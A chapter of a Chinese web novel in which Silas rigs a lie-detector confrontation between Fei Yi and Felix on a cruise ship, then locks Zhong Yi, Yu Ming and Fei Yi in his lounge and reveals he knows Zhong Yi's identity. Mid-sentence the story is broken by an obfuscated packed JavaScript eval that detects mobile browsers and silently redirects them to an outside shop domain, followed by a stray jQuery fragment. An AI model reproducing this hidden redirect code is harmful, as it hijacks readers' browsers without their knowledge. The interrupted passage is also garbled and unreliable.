“喻先生。”塞拉斯微微一笑,没等喻明开口,他就主动跨进了房门,向客厅内坐着的钟仪点头示意。
“塞尔维娅小姐,刚刚我先去敲了你的房间,但没有人回应,就料想你在这里。”
“塞拉斯先生,你这是?”虽然知道对方可能已经掌握了自己的底细,但钟仪依旧镇定,保持着表面的体面。
“二位不要紧张,我此行是来找费伊小姐的。”
费伊向钟仪身后躲了躲,小声念叨着:“怎么办怎么办……”
费伊心中警铃大作,刚刚他们不是在分析塞拉斯不会明目张胆地杀人吗?他怎么直接找上门来了!
“费伊小姐,”塞拉斯向房间内走了一步,“菲利克斯已经被我带到vip休息室了,你们二人的说辞不太一致,我建议你们当面对质,才能确定下来他究竟有没有罪。”
喻明挡在塞拉斯前面,“你的意思是,费伊在说谎?她有什么理由诬陷一个清白的人?甚至以自己的生命为代价?”
塞拉斯笑笑,“我也是这样以为的,可菲利克斯又有什么理由去谋杀一个毫无瓜葛的人呢?”
费伊看出来目前的局势不利于她,把头摇得像拨浪鼓,“不,我不去。”
“费伊小姐,如果你不去,菲利克斯先生就将以诬告的罪名指控你,那会很难办。”
“什么??他居然还敢恶人先告状!”费伊急了,把求助的目光投向钟仪。
钟仪敏锐地察觉到了一丝不对劲。
在原本的局面中,塞拉斯不需要查明究竟是谁的错,他只需要以谋杀未遂的理由把菲利克斯管控起来,就能解决让他头疼的大问题。可现在他却没有这样做,反而以“彻查到底”的由头让费伊和他走。
这只可能有一个原因,那就是塞拉斯已经和菲利克斯谈好了条件,他假意创造机会让他们二人对质,但真实目的是带走费伊!
钟仪深吸了一口气,“让他们二人对质就能搞清楚事情真相了吗?没有证据,不过是各执一词,塞拉斯先生又凭借什么能判断究竟是谁有罪呢?”
塞拉斯似乎早有准备,“这倒是不难,游轮上有测谎仪,我们一测便知。”
这套说辞似乎很合理,费伊有些动摇,“我可以去,但必须带上他们一起。”
她指了指钟仪和喻明。
“当然可以。”塞拉斯毫不犹豫地答应了这个要求。
钟仪捏了捏费伊的手,“我们可以等到下船再去警方那里对质,不急于一时。”
她总有种说不上来的不安感,即便是他们陪着费伊去也不能够放下心来。
看出了她们的退缩,但塞拉斯很会戳中费伊的痛点,“如果要等到那时候,我就只能先放菲利克斯先生出来了,毕竟也没有确切的理由关押他。”
“不行不行。”费伊现在很害怕菲利克斯,他可是想杀死自己并付诸了实践,如果这个时候他还在外面大摇大摆地行走,她无时无刻不会活在阴影中。
费伊恳求道:“我们还是现在就解决吧,我不想再拖了,一分钟也不想。”
钟仪叹了口气,最终还是点了头。
-
塞拉斯口中的“vip休息室”位于游轮顶层,平时不对外开放,是他自己的私人空间。
这里由几组相互嵌套的房间组成,空间结构很是新奇。他们跟着塞拉斯走进了不知多少道门,终于看见了菲利克斯。
他看上去精神状态良好,和往日别无二致,整翘着腿坐在里侧沙发上。
见到费伊他们,菲利克斯也并未说话。他们之间已经无需寒暄什么了。
塞拉斯很快吩咐人拿来了一台测谎仪,放在中间的长条桌上。
测谎仪对钟仪而言并不陌生,在处理家族事务时她也会遇到抵死不认的刺头,测谎仪算是最温和的审问方式了。
她上手检查一番,没有发现可疑之处。
“那么,我们就开始吧。”
塞拉斯先让人给费伊戴上了复杂的设备,抛出了几个常规的问题。
钟仪坐在一旁,心中隐隐觉得哪里不对劲,却又说不上来。
“费伊小姐,你说你在雨林中被人打晕后扔进了山洞,这是真的吗?”
“千真万确。”
测谎仪数据平稳。
“你说是菲利克斯将你打晕的,是这样吗?”
“没错。”
测谎仪没有反应。
“你的伤口在后颈,你是如何确定袭击你的人是菲利克斯呢?”
“当时我身边只有他一个人,不是他会是谁?”
“那你有亲眼看到吗?”
“这……”费伊迟疑了。
塞拉斯下了结论:“看来费伊小姐遇袭确有其事,但并没有亲眼看见是谁,对菲利克斯先生做出的指控是基于推测。”
喻明在旁边听得发笑,“都说了当时只有菲利克斯在她身边,难道是雨林中的猴子打晕了她吗?”
塞拉斯一本正经地包庇,“这确实有疑点,但我们不能轻易定下罪名。”
钟仪听不下去了,动手取下费伊身上的设备,“看来塞拉斯先生心中早有定论了,那我们也没必要走这个过场了。”
“别急呀,我们总要给菲利克斯先生一个回答问题的机会。”
塞拉斯虽然没有动,但是钟仪眼尖地看到门口的保镖身形晃了晃。
这是要逼他们留下来了。
“菲利克斯先生,你那天在雨林中是和费伊小姐同行吗?”
“一开始是,但是后来雨太大,我找不到她了。”
“你说谎!你明明一直和我一起走!”费伊立马拆穿他。
但测谎仪没有反应。
“那么,你有袭击费伊小姐吗?”
“无稽之谈。”
测谎仪就像坏了一般没有反应。
“这怎么可能?!”费伊忍不住大喊。
钟仪也站起了身,她明明已经检查过了,这台测谎仪没有任何问题,为什么现在屏幕上的各项指征这么平稳?
塞拉斯微笑,“看来你们之间似乎是出现了误会。”
“费伊小姐被袭击确有其事,但凶手另有其人,菲利克斯先生只是恰好被错认了。”
费伊用力地摇头,“不对,你这是包庇!”
“我很理解你的心情,费伊小姐,但数据可是不会说谎的。毕竟刚刚塞尔维娅小姐已经检查过了,不是吗?”
钟仪很难点这个头。
她当然不认为这一切都是误会,但她确实不知道问题出在了哪儿。
但只要塞拉斯存心庇护菲利克斯,无论如何他都会找到为他脱罪的手段。
钟仪张了张嘴,最后只得暂退一步,“虽然如此,但费伊怎么说都是苦主,害她的人尚未落网,我们需要一直保护她。”
“那是自然。”
她也只能先
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17664476|204113||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
保证费伊不出事,至于怎么把菲利克斯绳之以法,那是上岸后才能考虑的事了。
塞拉斯起身送菲利克斯,“三位先留一下,稍后我还有事情和你们沟通。”
这间房的门被关上了。
三人面面相觑,一时间不知道塞拉斯想要干什么。
“他这是要闹哪出?”
费伊弱弱开口,“他是不是收了菲利克斯的好处,但又觉得对不起我们,想要说几句安慰我们的话?”
钟仪被她天真的想法弄笑了,“塞拉斯怎么可能觉得对不起谁,他才不会有丝毫愧疚。”
费伊哑然。
角落里的空调冷气直吹,钟仪有些冷,摸了摸自己裸露在外的胳膊。
说实话,她也不知道塞拉斯是怎么想的,他今天露面以来一直在处理费伊与菲利克斯之间的事,似乎没有把钟仪和喻明放在心上。
但那怎么可能呢,塞拉斯怎么可能没有任何反应。
一直待在他的地盘上,总让钟仪心生不安。
喻明脱下了自己的外套递给钟仪,她熟练接过披在身上,暖和了不少。
但费伊就没有这么幸运了,她穿的不比钟仪厚,此刻冷得打了个喷嚏。
“怎么找不到遥控器?”费伊说着走向门口,想让外面的保镖把这里的空调关掉。
但她伸手去推,门却像被封死了一般纹丝不动。
“什么情况?”费伊又尝试了几次,依旧打不开这扇门。
“他不会是想把我们关在这里吧?”她着急地拍门,“外面有人吗?放我们出去!”
回应她的是一片死寂。
钟仪和喻明对视一眼,看来他们是被锁在这里了。
钟仪叹气,“费伊,别费力气了。他不会放我们出去了。”
费伊绝望地回头,“什么意思,软禁我们?还是要秘密处决我们?”
钟仪不置可否。
她彻底反应过来,今天这场戏,表明上是解决费伊遇袭的事,但实际上意在她和喻明。
除了这次,还有什么机会能把他们顺利地关起来呢?
她猜想塞拉斯正在紧锣密鼓地调查他们,在他拿到确切的结果之前都不会让他们出去。
但这对她而言无异于死路一条。
“我们找一找其他的出口。”钟仪提议。
这是目前唯一的自救方法。等到塞拉斯掌握了一切,她就真的要被追杀了。
环顾四周,房间里有大面积的玻璃窗,但却不能打开。除了那扇已经被锁死的门,这里没有任何出口。
屋内的设施他们最开始已经打量过了,沙发,长条桌,液晶电视,立式空调。很简约的装潢。
这时,里侧墙上挂着的电视却突然亮了。
屏幕闪烁,出现了塞拉斯的脸。
“别白费力气了,各位。”他的表情有些古怪,似乎惊喜中带着得意。
费伊气不打一处来,“你在帮着菲利克斯一起害我们!你难道忘了他之前还要杀你吗!”
“不管菲利克斯有没有派杀手杀我,他最终的目的都是我手上的东西,我和他之间当然有谈的余地。”塞拉斯不以为然,他当然不会在乎这点小事,只要生意上能谈妥,一切他都可以大度地轻轻揭过,装装样子他总不介意。
“但你可不一样啊,”他的目光似乎穿透了屏幕,盯上了钟仪。
“你可是想弄死我啊,钟仪小姐。”